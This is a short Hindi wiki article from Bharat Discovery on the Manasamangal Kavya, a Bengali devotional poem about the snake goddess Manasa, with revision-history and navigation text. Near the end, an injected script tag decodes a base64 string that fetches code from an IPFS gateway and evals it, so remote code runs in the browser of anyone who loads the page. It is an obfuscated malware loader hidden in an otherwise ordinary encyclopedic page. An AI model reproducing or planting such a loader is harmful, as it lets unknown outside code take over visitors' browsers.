मनसामंगल काव्य

भारत डिस्कवरी प्रस्तुति
दिनेश (चर्चा | योगदान) द्वारा परिवर्तित 15:45, 8 जून 2020 का अवतरण (''''मनसामंगल काव्य''' (अंग्रेज़ी: ''Manasamangal Kavya'') सभी मंगल-का...' के साथ नया पृष्ठ बनाया)
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:भ्रमण, खोजें

मनसामंगल काव्य (अंग्रेज़ी: Manasamangal Kavya) सभी मंगल-काव्यों में सबसे प्राचीन काव्य है।

  • इसमें सर्प-देवी मनसा द्वारा बंगाल के शिव भक्तों को शिव भक्ति छोड़कर अपनी भक्ति कराने का वर्णन है।
  • मनसा जनजातीय लोगों द्वारा पूजित एक देवी थीं, जो बाद में बृहद हिन्दू समाज की देवी के रूप में प्रतिष्ठित हुईं।
  • मनसा को 'बिषकरी', 'जंगुली', और 'पद्मावती' भी कहा जाता है।
पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख